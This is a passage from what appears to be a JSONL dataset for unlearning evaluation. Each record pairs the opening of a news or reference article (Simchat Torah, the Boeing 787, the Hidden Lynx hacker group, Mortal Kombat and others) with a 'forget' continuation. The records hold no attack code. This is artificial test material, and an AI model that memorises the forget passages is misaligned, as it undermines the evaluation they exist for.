Jalen Patterson and cornerback Thomas Burns. RELATED: Gallery of legacy 2018 recruits Miami's haul of three Top247 prospects is tops. Three teams, all from the SEC, have two Top247 pledges. Alabama has the two highest rated prospects in tight end Macom Epps and offensive tackle Dare Rosenthal. LSU's two Top247 prospects are both homegrown talents in"}
{"prompt": "There seems to be a widespread misconception in the Orthodox world that the upcoming holiday of Simchat Torah is a \u201cmen\u2019s holiday.\u201d I can understand the confusion, stemming from what we celebrate and how we celebrate it. Simchat Torah has evolved as a celebration of the annual cycle of weekly Torah readings\u2014readings which, in Orthodox shuls, occur purely on the men\u2019s side of the mechitza (divider). And we celebrate it by taking all the Torah scrolls out of the ark\u2014also on the men\u2019s side\u2014and dancing seven circuits, or hakafos, with them. There is much joyful singing, generally in a masculine", "forget": "timbre, and the dancing men take turns holding the heavy scrolls. READ: This is the Torah With so much action naturally taking place on the other side, I can understand\u2014sort of\u2014why things tend to be much less lively on my side of the mechitza. Depending on the community, the women might dance, but it is rarely as exuberant, as populated, or as sustained as the men\u2019s dancing. My childhood memories of the holiday involve a core group of women who enjoyed dancing and would try to get things going, while most of the women might join for a few minutes in between their primary activities of chatting, chasing sugared-up children (did I mention excessive candy often plays a role in the celebrations?), and watching the men. From what I have experienced and heard since, my shul was fairly typical, though in many places the women don\u2019t dance at all\u2014or even show up. My husband likes to tell of the girl he once dated who was surprised at the suggestion that she might go to shul on Simchat Torah. \u201cWhy would I go?\u201d she asked. \u201cI have no one to watch!\u201d For her, I think, it was accepted as a matter of course that dancing on Simchat Torah is what men do, and she wouldn\u2019t have ever imagined that she could\u2014or should\u2014have a part in it. For others, the questions around women and Simchat Torah are more fraught\u2014and many focus on the Torah scrolls themselves, arguing that if the women can\u2019t dance with a Torah, then they feel excluded, like their dancing is pointless. Indeed, in more recent years, as this sort of discomfort with gender disparities has increased, many rabbis have concluded that there is no real halachic problem with a woman carrying a Torah scroll, and in some shuls"}
{"prompt": "Ad blockers are often painted as the enemy of online publishers, but sometimes things are more complicated. AdBlock Plus, for example, just announced that they\u2019re working with startup Flattr on a new product that allows readers to pay the publishers who produce the content they read, listen to and watch. As a result of the partnership, AdBlock Plus said it has also made a small investment of undisclosed size in Flattr . Together, the two companies have created a new product called Flattr Plus. Like Flattr itself, it allows users to allocate a monthly budget that they want to pay", "forget": "publishers. Unlike Flattr, users don\u2019t have to click a button to \u201cFlattr\u201d a website \u2014 instead, it will automatically track their browsing activity and distribute the money based on their engagement. It sounds somewhat similar to the way a company like Spotify distributes subscription fees to musicians \u2014 except it\u2019s not just for artists on a single website or app. Plus, the question of exactly how to calculate engagement is a tricky one. You probably don\u2019t want to reward a worthless article with a dumb-but-effective clickbait headline. You might also leave an article open for hours without actually reading it. Ben Williams, who leads communication and operations at AdBlock Plus, told me that the product is still in beta testing (the plan is to do a full launch later this year) partly so the team can experiment with ways to measure engagement \u2014 it will involve some combination of factors like time spent and scroll activity. Publishers will have to sign up with Flattr Plus if they want to get paid, b ut Williams said that if they\u2019re don\u2019t, the money they\u2019re due will be held for them until they join the program . (Update: Williams said that actually, AdBlock Plus won\u2019t hold the money \u2014 it\u2019ll just tell them how much money they could have earned.) The goal, he added, is to earn half a billion dollars in revenue for publishers next year. He doesn\u2019t necessarily expect every AdBlock Plus user to volunteer to pay, but he predicted that many will \u2014 and when you\u2019ve got 500 million downloads, just a small percentage of users paying a few dollars a month can add up. In fact, he said the AdBlock Plus users who opt out of seeing any advertising whatever (even if it\u2019s part of the company\u2019s acceptable ads"}
{"prompt": "The DZero collaboration at Fermilab on Thursday announced the discovery of a new particle whose quark content appears to be qualitatively different from normal. An ordinary meson is composed of a quark and an antiquark, whereas an ordinary baryon is made from three quarks. Physicists have long conjectured that exotic particles containing an additional quark-antiquark pair could exist, and a handful of candidates have been seen. Such particles, called tetraquarks, or their close relatives, the pentaquarks, would be exotic states forming a new particle species paralleling the ordinary mesons and baryons. DZero searched for new exotic states decaying into a", "forget": "B s meson and a pi meson. Both of these are well-known mesons, which travel finite distances before decaying via the weak nuclear interaction. The B s meson is composed of a quark and an antiquark of bottom and strange types, and the pi meson has an up and down quark and antiquark. The study, using the full data set acquired at the Tevatron collider from 2002 to 2011 totaling 10 inverse femtobarns, identified the B s meson through its decay into intermediate J/psi and phi mesons, which subsequently decayed into a pair of oppositely charged muons and a pair of oppositely charged K mesons respectively (see diagram). The plot of the mass distribution of the B s and pi meson combination (see the mass plot) shows an excess of 133 \u00b1 31 events over the estimated background, with a mass of 5,568 MeV. The mass peak of the new state, called X(5568), is relatively broad (22 MeV) indicating that the particle decays via the strong interaction. The probability that previously known processes could have fluctuated to give a signal as strong as that seen is only 1 in about 6 million (5.1 standard deviation significance), after taking into account the estimated uncertainties in the analysis and the possibility that such a fluctuation could have occurred anywhere within the search window. The fact that the new X(5568) particle decays via the strong interaction into a B s and pi mesons tells us that it contains four distinct flavors of quarks and antiquarks \u2013 bottom, strange, up and down. Several other previously observed particles are good candidates to be tetraquark or pentaquark states, but all of these have a quark and antiquark of the same flavor, and thus their character as an exotic particle is less certain. The detailed internal structure"}
{"prompt": "Our society tends to think about business as the enemy of the environment and of trees. It's no wonder, given the things businesses have done. It's very easy to blame them for all the things wrong with the world. It happens because most of the time we use business to make as much money as we can, forgetting about the damages they do to the planet and to people. However, we should remember that businesses do what people make them do. If you want to solve people's problems, businesses can help you do that too. Ah, but the profit motive", "forget": "is the key to driving people towards that route, we hear you say. This is why we've created a new kind of business model called \"social business.\" It is a kind of business that has taken out of the picture the motive of personal financial profit, because we think there are other incentives in life besides personal financial gain. So it is a business that does make a profit, but as profit that either goes to the investor to pay back only his investment money, or as profit that is recycled into expanding the business or into activities that benefit the local community and environment. When the entrepreneurs commit to this in the Articles of Association, they are making it clear that solving social problems is their primary objective. Over the years, we have created many social businesses in Bangladesh and abroad. We have learned that social businesses can achieve a lot of things, including providing nutrition to children (Grameen Danone), providing access to solar energy (Grameen Shakti) and healthcare (Grameen GC Eye Care Hospitals). Today, we want to talk to you about a very special social business in Haiti, Krey\u00f2l Essence. Haiti is affected by the worst deforestation any country has experienced, which is currently at 98.5 percent. As it is, people in Haiti are affected by severe poverty, which forces them to cut down trees for fuel for cooking. Over time, this deforestation leads to soil erosion and degrades agricultural lands. It becomes a vicious cycle. Krey\u00f2l Essence's business model recognizes that people in Haiti need jobs and stable income before they can worry about planting trees. Haiti has over 40 percent unemployment and one of the lowest income levels in the Western Hemisphere. The first tranche of our investment capital was raised on Kiva.org, an innovative platform"}
{"prompt": "Two of the three investigations into the actions of Salt Lake City Police officers Detective Jeff Payne and Lt. James Tracy following Payne\u2019s arrest of University of Utah Health nurse Alex Wubbels have finished. The first \u2014 the police department\u2019s internal affairs investigation \u2014 concluded that Tracy violated five departmental policies. It found that he acted with conduct unbecoming of an officer. Other rules broken include behaving with courtesy in public contacts, a policy favoring misdemeanor citations over arrests \u201dwhenever possible,\u201d the code of ethics and a standards of conduct policy. It also found that Payne violated all five of", "forget": "those same policies, plus an additional policy which required him to report his use of physical force while arresting Wubbels \u2014 which he did not do. Of Payne\u2019s actions, the department wrote, \u201cYou demonstrated extremely poor professional judgment (especially for an officer with 27 years of experience), which calls into question your ability to effectively serve the public and the Department in a manner that inspires the requisite trust, respect, and confidence.\u201d To both employees, letters said, \u201cdisciplinary action, which may include termination of your employment, is being considered in response to actions on your part which appear to be a violation of policy and/or expectations related to the performance of your job duties.\u201d Payne\u2019s lawyer, Greg Skordas, responded to the internal investigation\u2019s results. He complimented their accounting of the facts but took issue with some of the results. He said he feels the report wouldn\u2019t have been so harsh if the body camera footage hadn\u2019t been publicly released and believes the report will be used to \u201cjustify major discipline \u2026 when it\u2019s not warranted here.\u201d \u201cHe made a terrible mistake \u2026 But let\u2019s not overstate it because it\u2019s become a YouTube sensation,\u201d Skordas said. The second investigation \u2014 an independent review by the Civilian Review Board \u2014 concluded with findings that Tracy did not meet the responsibilities of his position as a watch commander, that both officers should have contacted the department\u2019s legal adviser and that both officers did not understand the laws in question. It also found that Payne violated three department policies \u2014 public courtesy, blood draw procedures and his obligation to follow policy and orders. The Civilian Review Board\u2019s report also noted that no other police officer or security personnel present at the time of the incident intervened. These officers were from both SLCPD and the"}
{"prompt": "As wine editor of the San Francisco Chronicle, Jon Bonn\u00e9 is the leading voice in a general-interest publication covering the heart of the California wine industry. He\u2019s also controversial, for he has been one of California wine\u2019s harshest critics. In \u201cThe New California Wine: A Guide to the Producers and Wines Behind a Revolution in Taste,\u201d published in November by Ten Speed Press, Bonn\u00e9 argues that California\u2019s wine industry has been on the wrong path for more than two decades, pursuing bigger, riper wines and higher point scores from critics at the expense of the character that made California wines", "forget": "great in the first place. \u201cAgain and again I was disappointed by what I found to be the shortfalls of California wine: a ubiquity of oaky, uninspired bottles and a presumption that bigger was indeed better,\u201d he writes. Bonn\u00e9 is not the only prominent writer to criticize the prevalent style of California wine. Eric Asimov of the New York Times champions winemakers who strive for a more elegant, lower-alcohol style of wine, and I have sounded similar themes in this column. Bonn\u00e9, however, is harder to ignore because of his base in San Francisco. Many in the wine industry regard him as a pest. Bonn\u00e9 writes of the suspicion that greeted him, a New Yorker, when he arrived in San Francisco in 2006. Resentment still echoes today. \u201cHe\u2019s anti-California,\u201d one prominent Napa winery executive sniffed to me recently, explaining why he refused to read Bonn\u00e9\u2019s book. Critics of the prominent California style are often accused of being effete Euro-snobs intent on finding \u201cnuance\u201d in their wines. (There is a depressing amount of jingoism in the debate over wine styles.) But Bonn\u00e9 doesn\u2019t argue that California should make European-style wines. Rather, he wants California to return to the style of the 1970s, when the Golden State\u2019s wines first triumphed over the best of France in the famous 1976 Judgment of Paris tasting. That was 30 years before Bonn\u00e9 joined the Chronicle. \u201cHow fast things changed \u2014 from just being happy to be in the conversation to winning the Judgment of Paris, then wave after wave of investment by the wealthy and bored eager to prove their egos in a new field,\u201d Bonn\u00e9 told me recently during a visit to Washington to promote his book. \u201cAfter 30 years of being told how awesome it was, California had drunk the Kool-Aid.\u201d Bonn\u00e9\u2019s book"}
{"prompt": "Earthquake Japan is an earthquake-prone country. Be prepared and don't panic when it happens! Check your emergency survival kit regularly to see if the food is outdated or any items are missing so that the kit is usable when it's needed. Getting ready for an earthquake Emergency items to be stocked at home Gather together whatever you may need to use during an evacuation, and place it all in emergency bags such as rucksacks, etc. Having done so, make sure that all family members know where the emergency bags are kept. The contents of such bags should be limited to", "forget": "those necessary items that you and your family can personally carry to an evacuation center. Please prepare your emergency bags in accordance with the needs of your family and yourself. An example of what might be placed in emergency bags Flashlight Spare batteries Flashlight Spare batteries Radio Spare batteries Radio Spare batteries Mobile phone rechargers Mobile phone rechargers Lighter Lighter Drinking water Drinking water Ready-to-eat food Helmets Helmets Thick cotton gloves Thick cotton gloves Underwear, socks Underwear, socks Towel Towel Wet tissues Wet tissues Plastic bags Disposable pocket warmers ( kairo ) Disposable pocket warmers ( ) Pens and notepad Pens and notepad Emergency items Emergency items Copy of Passport & residence card Keep the following items in a place where you can easily locate them to take with you Cash Cash Bankbooks, Personal seals Bankbooks, Personal seals Medicines, Medicine notebooks You also need to keep drinking water, approximately 2 to 3 liters per person per day. Daily Stockpiles In the event of an epicentral earthquake occurring in the Tokyo Metropolitan area, citizens whose homes are still intact are to take refuge in their homes. However, it is anticipated that electricity, gas, and water will be unavailable, and the supply of goods will be halted due to rubble covering the roads. Daily stockpiles of food and daily necessities will become important in order to survive until lifelines and the distribution of goods can be recovered. It might be difficult for householders to think in terms of preparing a special stockpile of items that are to be used during times of disaster. However, such concerns can be easily alleviated by simply taking steps to buy a little bit more of those foodstuffs and daily necessities that your family normally uses. Points to consider when stockpiling are as follows: Purchase extra food"}
{"prompt": "The 787 Dreamliner was supposed to be a big jump forward for Boeing \u2014 notably, the first plane to be made entirely of composites rather than aluminum. It consumes 20% less fuel than an equivalent 767; which, given today\u2019s increasing fuel prices and airlines\u2019 diminishing profit margins, should make it an extremely desirable aircraft. Unfortunately, things haven\u2019t quite worked out as planned. While the first 787 was originally scheduled to be delivered back in 2008, a string of delays and cost overruns meant that deliveries didn\u2019t start until 2011. Boeing looked to have turned the corner with the 787 once", "forget": "deliveries had started, but since launch it has been plagued with a number of high-profile problems \u2014 fuel leaks, smoke in the cabin, and fires. The troubled plane has been grounded as global regulators investigate whether it\u2019s safe to fly. Now, it is true that problems like these are always a feature of new plane launches. But the extent to which the 787 has been troubled both in gestation and post-launch suggests that something more is at work. Boeing undertook one of the most extensive outsourcing campaigns that it has ever attempted in its history. That decision has received a lot of press coverage, and the common wisdom is coalescing around this as a cause of the problems. But Boeing is no stranger to subcontracting. And while outsourcing can certainly lead to problems, I\u2019m not convinced it\u2019s the cause of these problems. Outsourcing leads to business model risk \u2014 you open the door to outsourcing your profits (in fact, a 2001 Boeing paper that is incredibly prescient and worth the time to read identified exactly this problem). But this isn\u2019t the problem that the 787 is suffering from. At least not yet. Rather, the issues the plane has been facing have much more to do with Boeing\u2019s decision to treat the design and production of such a radically new and different aircraft as a modular system so early in its development. In the creation of any truly new product or product category, it is almost invariably a big advantage to start out as integrated as possible. Why? Well, put simply, the more elements of the design that are under your control, the more effectively you\u2019re able to radically change the design of a product \u2014 you give your engineers more degrees of freedom. Similarly, being integrated means you don\u2019t have"}
{"prompt": "Suit stems from West Hartford incident caught on video camera HARTFORD \u2014 In a complaint filed today in the U.S. District Court for the District of Connecticut, the American Civil Liberties Union of Connecticut (ACLU-CT) contends that three state police troopers illegally retaliated against a protester by searching and detaining him, confiscating his camera, and charging him with fabricated criminal infractions. On behalf of Connecticut resident Michael Picard, the ACLU-CT alleges that John Barone, Patrick Torneo, and John Jacobi, all employed by the state police division of Connecticut\u2019s Department of Emergency Services and Public Protection, violated Picard\u2019s First Amendment rights", "forget": "to free speech and information and Fourth Amendment right against warrantless seizure of his property. On September 11, 2015, Picard was protesting near a police DUI checkpoint in West Hartford. Barone approached him under the pretext of public complaints and confiscated Picard\u2019s legally-carried pistol and pistol permit. Barone then claimed that filming the police is illegal, and took Picard\u2019s camera. Unbeknownst to the troopers, the camera was recording when Barone brought it to Torneo\u2019s cruiser. With the camera rolling, the officers proceeded to: call a Hartford police officer to see if he or she had any \u201cgrudges\u201d against Picard; open an investigation of him in the police database; and discuss a separate protest that he had organized at the state capitol. After Barone announced \u201cwe gotta cover our ass,\u201d either Torneo or Jacobi stated \u201clet\u2019s give him something,\u201d and the three settled on fabricating two criminal infraction tickets that they issued to Picard. Torneo drove away with Picard\u2019s camera on top of his cruiser, upon which the camera fell onto the hood of the car, Torneo stopped, and Jacobi returned the camera to Picard. In July of this year, the criminal charges against Picard were dismissed in the Connecticut Superior Court. \u201cPolice should be focused on public safety, not punishing protesters and those who film public employees working on a public street,\u201d said ACLU-CT legal director Dan Barrett, who is representing Picard in the lawsuit. \u201cAs the video shows, these police officers were more concerned with thwarting Mr. Picard\u2019s free speech and covering their tracks than upholding the law.\u201d \u201cCommunity members like me have a right to film government officials doing their jobs in public, and we should be able to protest without fearing political retribution from law enforcement,\u201d said Picard. \u201cAs an advocate for free speech, I\u2019m deeply disappointed"}
{"prompt": "Please support us by disabling your ad blocker on our site. Philly a 'sanctuary' again for undocumented immigrants, new mayor says Mayor Jim Kenney recently signed a law reverting Philadelphia to a sanctuary city, which would benefit immigrants and refugees. (Courtesy of Rob Shenk | Creative Commons) On Jan. 4th, Mayor Jim Kenney signed a law that no longer allows Philadelphia law enforcement and federal Immigration and Customs Enforcement officials to cooperate, reverting Philadelphia back to a \u201csanctuary city.\u201d Before the executive order, ICE could ask city police to hold onto undocumented immigrants who would have been released while awaiting", "forget": "trial. The undocumented immigrants would then be kept in police custody until ICE picked them up and faced potential deportation. Previous mayor, 1979 Wharton graduate Michael Nutter, made Philadelphia a sanctuary city before reversing his own decision in late 2015. Penn Democrats Communications Director and College junior Luke Hoban supports Mayor Kenney's plan and believes that Philadelphia needs to have some role in helping immigrants and refugees. \u201cWhatever measures that need to be taken should be implemented to make sure immigrants are not forced back to regions of the world that they are fleeing and giving up their lives in many cases, in hope of resettling here to provide a better life for themselves and their children,\" Hoban said. United States Department of Homeland Security Secretary Jeh Johnson, who promotes a program called \"Priority Enforcement\u201d that has been decried by immigrant advocacy groups as overly aggressive, has worked with Kenney to switch programs. Until these discussions take place, Kenney told The Philadelphia Inquirer that Philadelphia will not force cops to cooperate with the ICE. Other sanctuary cities in the United States include New York City, Baltimore and Washington D.C.. However, the Brookings Institution found in 2014 that Philadelphia is one of the \"re-emerging gateways\" in America due to a resurgence in the amount of immigrants entering the city each year. Proponents of Philadelphia as a sanctuary city say that it improves relations between the community and the police. For example if an undocumented immigrant is a witness of crime, they will be able to report the crime without fear of deportation. Proponents also reason that being a sanctuary city encourages immigration to cities, which can benefit the city's economy. A 2012 study by the Partnership for a New American Economy found that immigrants start 28 percent of small businesses even"}
{"prompt": "Scorpion (born Hanzo Hasashi) is a playable character and occasional boss character in the Mortal Kombat fighting game franchise created by Midway Games. Making his debut as one of the original seven playable characters in Mortal Kombat in 1992, he is an undead ninja specter seeking revenge for his own death at the hands of Sub-Zero, making him an anti-hero which has been his main role throughout the course of the series up until Mortal Kombat X but still remains neutral. Scorpion has been playable in nearly every Mortal Kombat fighting game, the one exception being the original version of", "forget": "Mortal Kombat 3. He was among the characters representing the series in the crossover games while having guest roles in other games, besides appearing in a variety of official series merchandise and other alternate media. Scorpion is featured on the logo of NetherRealm Studios, the successor of Midway Games. Appearances [ edit ] Mortal Kombat games [ edit ] \"Scorpion\" is the alias of Hanzo Hasashi, formerly one of the finest warriors of the Shirai Ryu, a Japanese ninja clan.[3] After he was killed by Sub-Zero, a member of a rival clan of Chinese assassins known as the Lin Kuei, Scorpion became a hellspawned revenant residing in hell (later the Netherrealm) and seeking vengeance against those responsible for the destruction of his clan and the death of his family, including his wife and his son. Although essentially neutral in allegiance, Scorpion will join forces with anyone who can assist his plans of revenge. He was once manipulated by Quan Chi, whom he promised his life in exchange for his impressive kombat abilities in order to defeat Sub-Zero.[1] In his initial backstory, displayed in the first game's attract mode, he is described only as having enmity towards Sub-Zero that was attributed to rivalries between opposing ninja clans. His ending revealed that he was actually an undead specter who had been killed by Sub-Zero and was survived by a wife and child.[4] This was further explored in a tie-in comic book written and illustrated by MK co-creator John Tobias and published by Midway; in a one-page scene, set aboard a junk en route to tournament host Shang Tsung's private island, Scorpion shocks Sub-Zero with his unexpected return exactly two years after his death, declaring that his \"demons\" had allowed him to return and avenge his demise, while he would not kill Sub-Zero"}
{"prompt": "There haven't been as many articles nationally complaining about the new scoreboards being installed at EverBank Field as one would imagine, but I was alerted to a special one from ESPN today on Twitter. It's penned by Gregg Easterbrook, who doesn't have the best reputation as far as integrity goes, but it's also one of the laziest ones I've seen. I've blockquoted the paragraph below, with their HTML in-tact in case they try to ninja edit the egregious errors. The fleecing of taxpayers continues:Jacksonville just agreed to pay $43 million to spruce up the stadium where the Jaguars play. Owner", "forget": "Shad Khan, net worth estimated by Forbes at $3.8 billion, will contribute only $20 million. A new hotel tax will fund the giveaway: Ordinary people using hotels in the Jacksonville will pay more so that a billionaire can have a new toy. If the gigantic scoreboard to be funded by the tax sells more tickets, the billionaire will keep the gains. And will hotels in Jacksonville lose business owing to the new tax, or hotel workers face layoffs triggered by an NFL owner's subsidized toy? Meanwhile a Jacksonville public school district needs $51 million in facility upgrades. The same month Jacksonville had no problem finding $43 million right away for a gift to the NFL, local politicians said the school money could only be supplied over several decades. The first big error is Easterbrook's notion that this is a new tax that will put burden on local hotels, which could potentially cost people their jobs. The problem with that notion is, is it ignores that it's not a new tax. It's an existing tax that has been in place for a few years already, since oh... 1984. It was modified in 1994. It's not changing. It's not increasing. There is no new burden that wasn't already there. It's not going to cost anyone their job Gregg. Don't worry. If you click the \"several decades\" hyperlink, you'll notice something peculiar. When I initially clicked it, I was a bit confused. I'd never heard of the My Journal Courier in Jacksonville. That's probably because it doesn't exist in Jacksonville, Florida... but rather Jacksonville, Illinois. In case their copy winds up fixed, it went to this article about the Jacksonville, IL school district. There are certainly arguments on both sides regarding using public funds for sports arenas, but good God man. You didn't"}
{"prompt": "Police across Kansas feel they are targets of \u201cbuilt-in\u201d bias and say they are wrongly accused of racial profiling. Those sentiments underlie findings of a new study by a Wichita State University professor for the Kansas Department of Transportation. Specifically, 39 of 61 officers interviewed for the research said they had been accused of racial profiling at least once during a traffic stop. Yet none said they were the subject of a formal complaint following the traffic stop. One Hispanic officer \u201csaid he has been accused of racial profiling at least fifty times,\u201d says a 59-page analysis compiled by Michael", "forget": "Birzer, a professor of criminal justice and director of WSU\u2019s School of Community Affairs. The officers were from 15 agencies, including the Wichita Police Department. Sign Up and Save Get six months of free digital access to The Wichita Eagle Last year, Birzer completed a study for the city of Wichita finding that Wichita police ticketed black motorists at disproportionately higher rates than white motorists. While African-Americans made up only 11 percent of the city\u2019s population, they accounted for 22 percent of the people given traffic citations from November 2012 through April 2013. That report said the results don\u2019t prove that racial profiling exists because a number of factors may influence who gets ticketed by police. For example, if police are deployed more heavily in minority neighborhoods, it might explain why more minorities are being stopped. It can \u201cpresent the perception of racial profiling even though it may not be occurring,\u201d the report said. The latest Birzer study, commissioned by the state, was designed to get officers\u2019 perspectives. Birzer interviewed or spoke with the officers multiple times and met with them in focus groups. Besides the Wichita department, the officers were from the Andover, Arkansas City, Derby, Dodge City, Eastborough, Kansas City, Lenexa, Newton, Pittsburg, Topeka and Wichita State University police departments and the Reno, Shawnee and Sumner County sheriff\u2019s departments. Many of the interviews were taking place as the tense situation in Ferguson, Mo., where a black teen was fatally shot by a white officer, was unfolding, Birzer said. \u201cWe have an opportunity to look at both sides of this issue,\u201d Birzer said. One sound approach to police-community relations, he said, seems to be \u201cgood, old-fashioned interaction, communication, just the little things that don\u2019t cost a lot of money.\u201d \u201cIf every officer treated their beat like Andy Taylor\u201d \u2013"}
{"prompt": "Next Game: Auburn 3/15/2015 | 1:00 PM SEC Network + 1150 AM COLLEGE STATION, Texas \u2013 No. 7 Texas A&M posted an historic victory Saturday afternoon, toppling the Auburn Tigers, 10-4, for the 1,000th Aggie win at Olsen Field at Blue Bell Park. The win carried additional significance as it improved the Aggie record to 20-0 on the season. Texas A&M, the last undefeated Division I team in the country in 2015, is off to its best start since 1989, when the Maroon and White commenced the campaign with a 26-0 mark. Auburn (13-6, 0-2 SEC) bookended the game with", "forget": "two-run frames in the first and ninth innings, but in between it was all Aggies. Matt Kent (5-0) weaved his longest career outing and was masterful from innings two to eight when he yielded just three hits. For the day, Kent worked 8.1, allowing four runs on 10 hits while striking out seven. On the year, Kent has 33 strikeouts and only two walks in 35.2 innings of work. The Aggies' offense was relentless on the day with 11 hits, nine walks and two hit batters. Texas A&M had six at-bats with bases loaded, going 4-for-6. Blake Allemand , Logan Taylor and Ronnie Gideon each knocked in two runs to lead the attack. Gideon went 2-for-3 with two walks, one run and two RBI. Hunter Melton went 2-for-3 with two runs, one hit-by-pitch and one walk. Taylor batted 2-for-4 with two runs and two RBI. Auburn used four singles two register two runs in the top of the first inning. Anfernee Grier bounced a single up the middle to start the rally. Grier was replaced at first base by Damon Haecker who was unsuccessful in getting a sacrifice bunt down. Jordan Ebert slipped a single through the right side of the infield to put two runners on before Kent fanned Dylan Smith for the second out of the inning. Kent was unable to get out of the frame unscathed as Cody Nulph and Blake Logan each laced RBI singles through the left side of the infield, staking the Tigers to a 2-0 advantage. After missing out on chances to churn out runs in the first three innings, Texas A&M broke the scoring seal in the bottom of the fourth. Taylor drew a five-pitch walk to start the inning and moved to second on a groundout by Blake Kopetsky . Melton"}
{"prompt": "What: Ozomatli \u2013 San Diego Symphony When: Sunday August 24, 2014 Where: Embarcadero Marina Park South, San Diego Description: By combining hip-hop, salsa, dancehall, samba, funk, garage rock, raga and more into an irresistible groove, the members of the culture-mashing party band Ozomatli have gone from hometown heroes in L.A. to U.S. State Department Cultural Ambassadors and the first band ever to give a \u201cmusical\u201d TED talk. Also known for having a fervent political conscience, the Grammy-winning group frequently travels the world, bringing this distinctly SoCal \u2014 but universally appealing \u2014 music to places like Tunisia, Egypt, Mongolia, Jordan, Nepal", "forget": "and Myanmar. For this outdoor San Diego Symphony show with conductor Matthew Garbutt, Ozomatli will play old favorites as well as tunes from their latest album, Place in the Sun, as they mark their return to Ashford University\u2019s Summer Pops concert series after a hugely popular appearance last summer. Check out our daily hand selected coupons & deals from our top sponsors including Match.com & Nike. Get an extra 20% Off Nike clearance styles at Nike.com. Use code BIGTIME at Checkout! What: Pacific Classic Race Day When: Sunday August 24, 2014 Where: Del Mar Racetrack, San Diego Description: Del Mar\u2019s richest and most prestigious race, the $1,000,000 TVG Pacific Classic (Gr. I), takes place on Sunday, August 24. Watch some of the country\u2019s top horses compete at the classic distance of 1 1/4 miles in the 24th running of Del Mar\u2019s signature event. 3-year-olds and up. The first race begins at the special post time of 1:00 p.m. Cost: $6 What: Sailing for a Cause \u2013 Sharp HospiceCare Annual Benefit Dinner and Regatta When: Friday August 22 to Saturday August 23, 2014 Where: Hotel del Coronado & Coronado Yacht Club/San Diego Bay Description: Hosted by Sharp HospiceCare, the benefit regatta brings together racers, community organizations and local families for an important cause. The event kicks off Friday evening, Aug. 22, with a dinner, followed by all-day festivities on Saturday, Aug. 23, as guests board sponsored yachts and cruise along the race course with a breathtaking view of the regatta and San Diego Bay. What: Beach Rockin\u2019 with Hotel California a Salute to the Eagles When: Sunday August 24, 2014 Where: Oceanside Pier, Oceanside, San Diego Description: Enjoy a evening by the sea with great Eagles music, food drink and much more. Proceeds will be used to support Maltese Rescue California\u2019s"}
{"prompt": "Sometimes S\u00e9verine Mehault climbs the stairs to the second floor for no reason at all. She walks along the hallway, past her son's room and into her daughter's bedroom. Then the 40-year-old lies down on the bed, next to a white stuffed bunny, and closes her eyes for a moment, trying to understand why only one of her two daughters, 15-year-old Kenza, is still there -- and why Sahra has abandoned her. Not much of Sahra is left in the room: her stuffed rabbit, a Koran in translation, a prayer book and a guide to the correct methods of bathing", "forget": "for Islamic women. The guide is a worn, pink brochure with small illustrations. Chapter 3 is titled: Instructions for Cleaning Your Ears. There's a dish containing red nail polish, mascara and lip gloss, but Sahra hasn't worn makeup in almost two years. After turning 15 at the time, she converted to Islam. She left France on March 11, 2014 to joint the jihadists in Syria. The family doesn't know where she is exactly, or which terrorist group she has joined. Her father drove her to the train station in Narbonne on that March day, as he did every day, when she would take the train to school in the nearby city of Carcassonne in southwestern France. A surveillance camera image shows Sahra, 17, standing on the platform in Narbonne, at 7:44 a.m. She is wearing white jeans, white sneakers and a black headscarf, and she is carrying two shoulder bags. The last image of Sahra on French soil, also taken with a surveillance camera, shows her at the airport in Marseille. She took an afternoon flight to Istanbul, and the next day she continued to Antakya on the Turkish-Syrian border. S\u00e9verine Mehault has spread out photocopies of the surveillance camera images on the dining room table, next to the last photo she took of Sahra. It depicts her daughter dressed entirely in black, in a jilbab, a floor-length robe with baggy sleeves, and a hijab, or headscarf. She is smiling, with a soft, roundish face. A Faraway Country \"Before she left, I didn't even know what was happening in Syria. It was a faraway country for me,\" says Mehault, running her fingers across the photo. Her fingernails gnawed to the quick. These days, she anxiously follows the news, trying to discern where exactly the group known as the Islamic State"}
{"prompt": "An elite group of nation-state hackers running roughshod through the financial sector and other industries in the U.S. has pioneered techniques that others are following, and has used sophisticated methods to go after hardened targets, including hacking a security firm to undermine the security service the company provided its clients. The highly professional group, dubbed Hidden Lynx, has been active since at least 2009, according to security firm Symantec, which has been tracking the group for some time. Hidden Lynx regularly uses zero-day exploits to bypass countermeasures they encounter. And, unusually for a government-sponsored effort, the gang appears to have", "forget": "a sideline staging financially motivated attacks against Chinese gamers and file-sharers. Symantec believes the group is 50-100 people strong, given the extent of its activities and the number of hacking campaigns its members maintain concurrently. \"They are one of the most well-resourced and capable attack groups in the targeted threat landscape,\" Symantec writes in a report released today (.pdf). \"They use the latest techniques, have access to a diverse set of exploits and have highly customized tools to compromise target networks. Their attacks, carried out with such precision on a regular basis over long periods of time, would require a well-resourced and sizeable organization.\" The group has targeted hundreds of organizations \u2013 about half of the victims are in the U.S. \u2013 and has succeeded in breaching some of the most secure and best-protected organizations, according to Symantec. After the U.S., the largest numbers of victims are in China and Taiwan; recently the group has focused on targets in South Korea. Attacks against government contractors and, more specifically, the defense industry suggest the group is working for agencies of a nation-state or states, Symantec says, and the diversity of the targets and information they're after suggest \"they are contracted by multiple clients.\" Symantec notes that the group is primarily engaged in state-sponsored hacking, but the hacker-for-hire service conducted on the side for profit is significant. The attackers use sophisticated techniques and display skills that are far in advance of the Comment Crew and other groups recently exposed. The Comment Crew is a group that numerous security firms have been tracking for years but got attention earlier this year when the New York Times published an extensive report tying them to the Chinese military. The Hidden Lynx group pioneered so-called \"watering hole attacks\" whereby malicious actors compromise web sites frequented by"}
{"prompt": "Sabbath mode, also known as Shabbos mode (Ashkenazi pronunciation) or Shabbat mode, is a feature in many modern home appliances, including ovens[1] and refrigerators,[2] which is intended to allow the appliances to be used (subject to various constraints) by Shabbat-observant Jews on the Shabbat and Jewish holidays. The mode usually overrides the usual, everyday operation of the electrical appliance and makes the operation of the appliance comply with the rules of Halakha (Jewish law). Background [ edit ] Halakha forbids Jews from doing creative work on the Shabbat. Observant Jews interpret this to include various activities including making a fire,", "forget": "preparing food, or even closing a switch or pressing an electronic button. A range of technology solutions have been created for those who need to use electronic (or electronic-controlled) devices on the Shabbat,[3][4][5] including a special \"sabbath mode\" for otherwise standard appliances. Use of the term Sabbath mode has been made by manufacturers and does not always guarantee full compliance with religious requirements. Appliances sold with certification from a halachic certification authority will have been audited and judged to be compliant with that authority\u2019s requirements. Appliances [ edit ] Oven [ edit ] Oven with Sabbath mode While according to Halakha, raw food may not be cooked on the Shabbat, food that was already cooked beforehand may be kept warm until mealtime.[6] In the past, the 